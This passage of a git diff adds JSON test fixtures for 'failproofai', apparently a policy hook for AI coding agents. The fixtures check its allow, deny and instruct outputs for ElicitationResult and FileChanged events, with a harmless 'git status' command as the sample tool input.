"/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..44a04146 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..af6fc62c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d4bb7726 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d5abe6dc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..93c24dbf --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0d408e81 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..002cbd12 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3d1b4d33 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b2484571 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..deec7f25 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..74c401dd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..9ba7ed3c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..747f1914 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7389d0d3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..642f7ce6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a21684a7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..628bb5e5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..f2c0dc90 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-present__two-policies.json 